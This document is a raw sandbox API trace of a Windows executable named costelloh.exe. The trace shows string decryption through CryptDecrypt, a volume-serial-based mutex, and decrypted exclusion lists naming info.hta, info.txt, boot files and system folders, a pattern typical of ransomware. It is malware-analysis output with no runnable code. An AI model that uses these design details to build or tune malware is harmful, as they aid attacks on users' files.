	[0061.944] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x27286a8
	[0061.944] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x27211f0
	[0061.944] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaffa3c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaffaa4 | out: phKey=0xaffaa4*=0xb993a8) returned 1
	[0061.944] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaffa8c, dwFlags=0x0) returned 1
	[0061.944] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211f0, pdwDataLen=0xaffa58 | out: pbData=0x27211f0, pdwDataLen=0xaffa58) returned 1
	[0061.944] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.944] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211f0 | out: hHeap=0x2720000) returned 1
	[0061.944] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x2720578, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0061.944] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27286a8 | out: hHeap=0x2720000) returned 1
	[0061.944] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2720550 | out: hHeap=0x2720000) returned 1
	[0061.944] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xaffb0c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xaffb0c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0061.944] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2720578 | out: hHeap=0x2720000) returned 1
	[0061.944] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x28) returned 0x2720550
	[0061.944] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728908
	[0061.944] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff974, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9dc | out: phKey=0xaff9dc*=0xb993a8) returned 1
	[0061.944] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff9c4, dwFlags=0x0) returned 1
	[0061.944] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728908, pdwDataLen=0xaff990 | out: pbData=0x2728908, pdwDataLen=0xaff990) returned 1
	[0061.945] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.945] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27288d8
	[0061.945] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff96c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9d4 | out: phKey=0xaff9d4*=0xb993a8) returned 1
	[0061.945] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff9bc, dwFlags=0x0) returned 1
	[0061.945] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27288d8, pdwDataLen=0xaff988 | out: pbData=0x27288d8, pdwDataLen=0xaff988) returned 1
	[0061.945] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.945] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728818
	[0061.945] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff964, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9cc | out: phKey=0xaff9cc*=0xb98da8) returned 1
	[0061.945] CryptSetKeyParam (hKey=0xb98da8, dwParam=0x1, pbData=0xaff9b4, dwFlags=0x0) returned 1
	[0061.945] CryptDecrypt (in: hKey=0xb98da8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728818, pdwDataLen=0xaff980 | out: pbData=0x2728818, pdwDataLen=0xaff980) returned 1
	[0061.945] CryptDestroyKey (hKey=0xb98da8) returned 1
	[0061.945] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27288a8
	[0061.945] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff95c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9c4 | out: phKey=0xaff9c4*=0xb993a8) returned 1
	[0061.945] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff9ac, dwFlags=0x0) returned 1
	[0061.945] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27288a8, pdwDataLen=0xaff978 | out: pbData=0x27288a8, pdwDataLen=0xaff978) returned 1
	[0061.945] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.945] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x27211f0
	[0061.945] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff954, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9bc | out: phKey=0xaff9bc*=0xb993a8) returned 1
	[0061.945] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff9a4, dwFlags=0x0) returned 1
	[0061.945] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211f0, pdwDataLen=0xaff970 | out: pbData=0x27211f0, pdwDataLen=0xaff970) returned 1
	[0061.945] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.945] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728860
	[0061.945] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff94c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9b4 | out: phKey=0xaff9b4*=0xb993a8) returned 1
	[0061.945] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff99c, dwFlags=0x0) returned 1
	[0061.945] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728860, pdwDataLen=0xaff968 | out: pbData=0x2728860, pdwDataLen=0xaff968) returned 1
	[0061.945] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.945] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x60) returned 0x27286a8
	[0061.945] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff944, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9ac | out: phKey=0xaff9ac*=0xb993a8) returned 1
	[0061.945] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff994, dwFlags=0x0) returned 1
	[0061.945] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27286a8, pdwDataLen=0xaff960 | out: pbData=0x27286a8, pdwDataLen=0xaff960) returned 1
	[0061.945] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.945] htonl (hostlong=0xb4197730) returned 0x307719b4
	[0061.945] CryptGenRandom (in: hProv=0xb8f0f8, dwLen=0x20, pbBuffer=0xaffaa0 | out: pbBuffer=0xaffaa0) returned 1
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x28) returned 0x2721468
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27287b8
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x4) returned 0x2720580
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x14) returned 0x2721498
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728758
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x80) returned 0x27214b8
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728788
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x82) returned 0x27252c8
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27287a0
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x4) returned 0x2725550
	[0061.946] CryptGenRandom (in: hProv=0xb91db8, dwLen=0x55, pbBuffer=0xaffa0a | out: pbBuffer=0xaffa0a) returned 1
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27287d0
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x80) returned 0x2725560
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728878
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x2) returned 0x2725430
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x4) returned 0x27253f0
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27287e8
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x80) returned 0x2728d20
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728830
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x4) returned 0x27254b0
	[0061.946] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2725430, Size=0x82) returned 0x2728da8
	[0061.946] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x27254b0, Size=0x100) returned 0x2728e38
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x2728740
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x82) returned 0x2728f40
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27288c0
	[0061.946] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x82) returned 0x2728fd0
	[0061.946] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2728da8, Size=0x104) returned 0x2729060
	[0061.946] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x2728e38, Size=0x200) returned 0x2729170
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27253f0 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2729170 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728830 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725560 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27287d0 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728d20 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27287e8 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2729060 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728878 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728f40 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728740 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728fd0 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27288c0 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2720580 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27287b8 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27252c8 | out: hHeap=0x2720000) returned 1
	[0061.947] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728788 | out: hHeap=0x2720000) returned 1
	[0061.948] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27214b8 | out: hHeap=0x2720000) returned 1
	[0061.948] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2728758 | out: hHeap=0x2720000) returned 1
	[0061.948] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2725550 | out: hHeap=0x2720000) returned 1
	[0061.948] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27287a0 | out: hHeap=0x2720000) returned 1
	[0061.948] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721468 | out: hHeap=0x2720000) returned 1
	[0061.948] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721498 | out: hHeap=0x2720000) returned 1
	[0061.948] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0xa4) returned 0x2721468
	[0061.948] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x5a) returned 0x27252c8
	[0061.948] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x27252c8, Size=0xb2) returned 0x2725560
	[0061.948] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x10) returned 0x27287a0
	[0061.948] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0xb40) returned 0x2728d20
	[0061.948] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff93c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff9a4 | out: phKey=0xaff9a4*=0xb98e68) returned 1
	[0061.948] CryptSetKeyParam (hKey=0xb98e68, dwParam=0x1, pbData=0xaff98c, dwFlags=0x0) returned 1
	[0061.948] CryptDecrypt (in: hKey=0xb98e68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2728d20, pdwDataLen=0xaff958 | out: pbData=0x2728d20, pdwDataLen=0xaff958) returned 1
	[0061.948] CryptDestroyKey (hKey=0xb98e68) returned 1
	[0061.948] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x2721518
	[0061.948] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff934, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff99c | out: phKey=0xaff99c*=0xb993a8) returned 1
	[0061.948] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff984, dwFlags=0x0) returned 1
	[0061.948] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721518, pdwDataLen=0xaff950 | out: pbData=0x2721518, pdwDataLen=0xaff950) returned 1
	[0061.948] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.948] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x272a478
	[0061.948] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff90c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff974 | out: phKey=0xaff974*=0xb98e68) returned 1
	[0061.948] CryptSetKeyParam (hKey=0xb98e68, dwParam=0x1, pbData=0xaff95c, dwFlags=0x0) returned 1
	[0061.948] CryptDecrypt (in: hKey=0xb98e68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x272a478, pdwDataLen=0xaff928 | out: pbData=0x272a478, pdwDataLen=0xaff928) returned 1
	[0061.949] CryptDestroyKey (hKey=0xb98e68) returned 1
	[0061.949] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x84) returned 0x27252c8
	[0061.949] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x84) returned 0x272a538
	[0061.949] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x272b518
	[0061.949] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff8e4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff94c | out: phKey=0xaff94c*=0xb993a8) returned 1
	[0061.949] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff934, dwFlags=0x0) returned 1
	[0061.949] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x272b518, pdwDataLen=0xaff900 | out: pbData=0x272b518, pdwDataLen=0xaff900) returned 1
	[0061.949] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.949] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x272b518 | out: hHeap=0x2720000) returned 1
	[0061.949] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0x27252c8, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42
	[0061.949] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x272a538 | out: hHeap=0x2720000) returned 1
	[0061.949] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x272a478 | out: hHeap=0x2720000) returned 1
	[0061.949] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x60) returned 0x272a478
	[0061.949] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff908, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff970 | out: phKey=0xaff970*=0xb993a8) returned 1
	[0061.949] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff958, dwFlags=0x0) returned 1
	[0061.949] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x272a478, pdwDataLen=0xaff924 | out: pbData=0x272a478, pdwDataLen=0xaff924) returned 1
	[0061.949] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.949] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x5c) returned 0x272b518
	[0061.949] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x5c) returned 0x272b580
	[0061.949] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x272b5e8
	[0061.949] CryptImportKey (in: hProv=0xb8f0f8, pbData=0xaff8e0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xaff948 | out: phKey=0xaff948*=0xb993a8) returned 1
	[0061.949] CryptSetKeyParam (hKey=0xb993a8, dwParam=0x1, pbData=0xaff930, dwFlags=0x0) returned 1
	[0061.949] CryptDecrypt (in: hKey=0xb993a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x272b5e8, pdwDataLen=0xaff8fc | out: pbData=0x272b5e8, pdwDataLen=0xaff8fc) returned 1
	[0061.950] CryptDestroyKey (hKey=0xb993a8) returned 1
	[0061.950] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x272b5e8 | out: hHeap=0x2720000) returned 1
	[0061.950] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;Program Files;Program Files (x86);", lpDst=0x272b518, nSize=0x2e | out: lpDst="C:\\Windows;Program Files;Program Files (x86);") returned 0x2e
	[0061.950] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x272b580 | out: hHeap=0x2720000) returned 1
	[0061.950] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x272a478 | out: hHeap=0x2720000) returned 1
	[0061.950] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x272b580
	[0061.950] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20a) returned 0x272b798
	[0061.950] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x272b798, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\costelloh.exe")) returned 0x25
	[0061.950] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x272b798 | out: hHeap=0x2720000) returned 1
	[0061.950] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0xb38) returned 0x272b798
	[0061.950] GetLastError () returned 0x0
	[0061.950] RtlReAllocateHeap (Heap=0x2720000, Flags=0x0, Ptr=0x272b348, Size=0xa2) returned 0x272c2d8
	[0061.950] GetLastError () returned 0x0
	[0061.951] WaitForSingleObject (hHandle=0x298, dwMilliseconds=0xffffffff) 

Thread:
	id = 2
	os_tid = 0x174


Thread:
	id = 3
	os_tid = 0xcc8

	[0050.483] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x27211c0
	[0050.483] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xb98e68) returned 1
	[0050.483] CryptSetKeyParam (hKey=0xb98e68, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0050.483] CryptDecrypt (in: hKey=0xb98e68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fda0 | out: pbData=0x27211c0, pdwDataLen=0x288fda0) returned 1
	[0050.484] CryptDestroyKey (hKey=0xb98e68) returned 1
	[0050.484] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x27211e8
	[0050.484] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721210
	[0050.484] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721238
	[0050.484] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xb991a8) returned 1
	[0050.484] CryptSetKeyParam (hKey=0xb991a8, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0050.484] CryptDecrypt (in: hKey=0xb991a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721238, pdwDataLen=0x288fd78 | out: pbData=0x2721238, pdwDataLen=0x288fd78) returned 1
	[0050.484] CryptDestroyKey (hKey=0xb991a8) returned 1
	[0050.484] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721238 | out: hHeap=0x2720000) returned 1
	[0050.484] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x27211e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0050.484] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721210 | out: hHeap=0x2720000) returned 1
	[0050.484] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0050.484] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0050.484] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211e8 | out: hHeap=0x2720000) returned 1
	[0050.484] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27211c0
	[0050.484] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xb991a8) returned 1
	[0050.485] CryptSetKeyParam (hKey=0xb991a8, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
	[0050.485] CryptDecrypt (in: hKey=0xb991a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fdd4 | out: pbData=0x27211c0, pdwDataLen=0x288fdd4) returned 1
	[0050.485] CryptDestroyKey (hKey=0xb991a8) returned 1
	[0050.485] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x34) returned 0x2721208
	[0050.485] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x0
	[0050.485] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\0001B419773000") returned 0x21c
	[0050.485] WaitForSingleObject (hHandle=0x21c, dwMilliseconds=0x0) returned 0x0
	[0050.485] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0050.485] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721208 | out: hHeap=0x2720000) returned 1
	[0050.485] ReleaseMutex (hMutex=0x21c) returned 1
	[0050.485] CloseHandle (hObject=0x21c) returned 1
	[0050.485] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x1211f44, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x21c
	[0050.486] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x20) returned 0x27211c0
	[0050.486] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdec | out: phKey=0x288fdec*=0xb991a8) returned 1
	[0050.486] CryptSetKeyParam (hKey=0xb991a8, dwParam=0x1, pbData=0x288fdd4, dwFlags=0x0) returned 1
	[0050.486] CryptDecrypt (in: hKey=0xb991a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27211c0, pdwDataLen=0x288fda0 | out: pbData=0x27211c0, pdwDataLen=0x288fda0) returned 1
	[0050.486] CryptDestroyKey (hKey=0xb991a8) returned 1
	[0050.486] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x8, Size=0x1e) returned 0x27211e8
	[0050.486] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x1e) returned 0x2721210
	[0050.486] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x90) returned 0x2721238
	[0050.486] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fd5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fdc4 | out: phKey=0x288fdc4*=0xb991a8) returned 1
	[0050.486] CryptSetKeyParam (hKey=0xb991a8, dwParam=0x1, pbData=0x288fdac, dwFlags=0x0) returned 1
	[0050.486] CryptDecrypt (in: hKey=0xb991a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2721238, pdwDataLen=0x288fd78 | out: pbData=0x2721238, pdwDataLen=0x288fd78) returned 1
	[0050.486] CryptDestroyKey (hKey=0xb991a8) returned 1
	[0050.486] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721238 | out: hHeap=0x2720000) returned 1
	[0050.486] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x27211e8, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0050.486] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x2721210 | out: hHeap=0x2720000) returned 1
	[0050.486] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211c0 | out: hHeap=0x2720000) returned 1
	[0050.486] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x288fe2c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x288fe2c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0050.487] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x27211e8 | out: hHeap=0x2720000) returned 1
	[0050.487] RtlAllocateHeap (HeapHandle=0x2720000, Flags=0x0, Size=0x40) returned 0x27211c0
	[0050.487] CryptImportKey (in: hProv=0xb8f0f8, pbData=0x288fdb8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x288fe20 | out: phKey=0x288fe20*=0xb99468) returned 1
	[0050.487] CryptSetKeyParam (hKey=0xb99468, dwParam=0x1, pbData=0x288fe08, dwFlags=0x0) returned 1
